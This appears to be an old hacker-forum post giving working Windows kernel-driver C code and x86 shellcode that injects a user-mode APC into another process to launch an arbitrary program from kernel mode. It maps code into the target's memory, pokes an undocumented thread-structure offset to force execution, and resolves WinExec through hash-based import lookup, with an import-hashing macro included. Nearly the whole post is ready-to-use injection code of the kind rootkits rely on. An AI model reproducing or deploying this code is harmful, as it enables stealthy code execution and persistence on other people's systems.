CreateProcess in KernelMode!
Showtime : *WORKING* CreateProcess in KernelMode!
By: valerino
I don't think this code needs any comment.
Say welcome to usermode calls in kernel land..... with this technique you can even call MessageBox from inside your driver.
No more ugly non-working phrack samples, this is the real stuff :)
1) The APC injector
//************************************************************************
// NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess)
//
// Setup usermode APC to execute a process
//************************************************************************/
NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
{
PRKAPC pApc = NULL;
PMDL pMdl = NULL;
PVOID MappedAddress = NULL;
ULONG size;
KAPC_STATE ApcState;
PKEVENT pEvent = NULL;
// check params
if (!pTargetThread || !pTargetProcess)
return STATUS_UNSUCCESSFUL;
// allocate memory for apc and event
pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
if (!pApc)
return STATUS_INSUFFICIENT_RESOURCES;
pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT));
if (!pEvent)
{
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
// allocate mdl big enough to map the code to be executed
size = (unsigned char*)UtilUserApcCreateProcessEnd - (unsigned char*)UtilUserApcCreateProcess;
pMdl = IoAllocateMdl (UtilUserApcCreateProcess, size, FALSE,FALSE,NULL);
if (!pMdl)
{
ExFreePool (pEvent);
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
// lock the pages in memory
__try
{
MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl (pMdl);
ExFreePool (pEvent);
ExFreePool (pApc);
return STATUS_UNSUCCESSFUL;
}
// map the pages into the specified process
KeStackAttachProcess (pTargetProcess,&ApcState);
MappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
if (!MappedAddress)
{
// cannot map address
KeUnstackDetachProcess (&ApcState);
IoFreeMdl (pMdl);
ExFreePool (pEvent);
ExFreePool (pApc);
return STATUS_UNSUCCESSFUL;
}
// copy commandline
memset ((unsigned char*)MappedAddress + 160, 0, 260);
memcpy ((unsigned char*)MappedAddress + 160, CommandLine,strlen (CommandLine));
KeUnstackDetachProcess (&ApcState);
// initialize apc
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
KeInitializeApc(pApc,pTargetThread, OriginalApcEnvironment,&UtilUserApcCreateProcessKernelRoutine,
NULL, MappedAddress, UserMode, (PVOID) NULL);
// schedule apc
if (!KeInsertQueueApc(pApc,pEvent,NULL,0))
{
// failed apc delivery
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
ExFreePool (pEvent);
ExFreePool (pApc);
return STATUS_UNSUCCESSFUL;
}
// and fire it by manually alerting the thread (for reference, this set the KTHREAD.ApcState.KernelApcInProgress)
// beware, this could be not compatible with everything ..... it works on 2k/XP anyway, tested on SP2 too.....
*((unsigned char *)pTargetThread+0x 4a )=1;
// apc is fired, wait event to signal completion
KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);
// free event
ExFreePool (pEvent);
// unmap and unlock pages / mdl . Note that there's no need to call MmUnmapLockedPages on paged locked with MmProbeAndLockPages,
// since MmUnlockPages does this for us automatically.
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
return STATUS_SUCCESS;
}
2) This routine just frees the APC allocated memory as soon as it's fired
//************************************************************************
// VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC * Apc , IN OUT PKNORMAL_ROUTINE *NormalRoutine,
// IN OUT PVOID * NormalContext , IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )
//
// This routine just frees the APC
//************************************************************************/
VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC * Apc , IN OUT PKNORMAL_ROUTINE *NormalRoutine,
IN OUT PVOID * NormalContext , IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )
{
PKEVENT pEvent;
KDebugPrint (1,("%s APC KernelRoutine called, freeing APC./n", MODULE));
// free apc
ExFreePool(Apc);
// set event to signal apc execution
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);
}
3) This is the usermode routine launched by the APC. It gets Kernel32 base and find imports by a hash, then calls winexec (simpler
than call createprocess, but anyway this is just an example....).
Use this NASM macro to calculate the needed hashes for whatever usermode functions you may need to call :
;
; HASH - NASM macro for calculating win32 symbol hashes
; Usage: HASH instruction, 'SymbolName'
;
%macro HASH 2
%assign i 1 ; i = 1
%assign h 0 ; h = 0
%strlen len %2 ; len = strlen(%2)
%rep len
%substr char %2 i ; fetch next character
%assign h /
(h<<0x13) + /
(h>>0x0d) + /
char ; rotate and add
%assign i i+1 ; increment i
%endrep
%1 h ; return instruction with hash
%endmacro
I can't remember where i got this shellcode, it was lying already modified on my hd for long time. Anyway it's not mine....
i just rearranged it to my needs. Whoever recognizes it as his code, email me at [email protected] and i'll put the proper credits :)
//************************************************************************
// void UtilUserApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)
//
// This is where we call createprocess. We're in usermode here :)
//************************************************************************/
__declspec(naked) void UtilUserApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
__asm
{
push ebp
mov ebp,esp
push ebx
push esi
push edi
jmp __startup; ; these are just functions.... skip
__find_kernel32:
push esi ; Save esi
push 0x30
pop ecx
mov eax, fs:[ecx] ; Extract the PEB
mov eax, [eax + 0x0c] ; Extract the PROCESS_MODULE_INFO pointer from the PEB
mov esi, [eax + 0x1c] ; Get the address of flink in the init module list
lodsd ; Load the address of blink into eax
mov eax, [eax + 0x8] ; Grab the module base address from the list entry
pop esi ; Restore esi
ret ; Return
__find_function:
pushad ; Save all registers
mov ebp, [esp + 0x24] ; Store the base address in eax
mov eax, [ebp + 0x3c] ; PE header VMA
mov edx, [ebp + eax + 0x78] ; Export table relative offset
add edx, ebp ; Export table VMA
mov ecx, [edx + 0x18] ; Number of names
mov ebx, [edx + 0x20] ; Names table relative offset
add ebx, ebp ; Names table VMA
__find_function_loop:
jecxz __find_function_finished ; Jump to the end if ecx is 0
dec ecx ; Decrement our names counter
mov esi, [ebx + ecx * 4] ; Store the relative offset of the name
add esi, ebp ; Set esi to the VMA of the current name
xor edi, edi ; Zero edi
xor eax, eax ; Zero eax
cld ; Clear direction
__compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Test ourselves.
jz __compute_hash_finished ; If the ZF is set, we've hit the null term.
ror edi, 0xd ; Rotate edi 13 bits to the right
add edi, eax ; Add the new byte to the accumulator
jmp __compute_hash_again ; Next iteration
__compute_hash_finished:
cmp edi, [esp + 0x28] ; Compare the computed hash with the requested hash
jnz __find_function_loop ; No match, try the next one.
mov ebx, [edx + 0x24] ; Ordinals table relative offset
add ebx, ebp ; Ordinals table VMA
mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal
mov ebx, [edx + 0x1c] ; Address table relative offset
add ebx, ebp ; Address table VMA
mov eax, [ebx + 4 * ecx] ; Extract the relative function offset from its ordinal
add eax, ebp ; Function VMA
mov [esp + 0x1c], eax ; Overwrite stack version of eax from pushad
__find_function_finished:
popad ; Restore all registers
ret 8
__begin:
nop
pop edi ; Pop address
mov ebx, __execute
sub ebx, __command_line
sub edi, ebx ; filename offset
mov esi,edi ; filename to edi
call __find_kernel32 ; Find kernel32 address
mov ebx, eax ; Save address in ebx
jmp short __execute ; Skip data
__startup:
call __begin ; Fetch our data address
__execute:
push 0x0e8afe98 ; WinExec hash
push ebx ; kernel32 base address
call __find_function ; find address
xor ecx,ecx
inc ecx ; ecx = 1
push ecx ; uCmdShow
push esi ; lpCmdLine. We already have the exe path in esi
call eax ; call WinExec
jmp __end
__command_line: ; Space (~300 bytes) for commandline
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
__end:
pop edi ; restore registers
pop esi
pop ebx
pop ebp
ret 0x0c
}
}
//************************************************************************
// void UtilUserApcCreateProcessEnd()
//
// This is just a reference to calculate size of the above usermode apc routine
//************************************************************************/
void UtilUserApcCreateProcessEnd()
{
}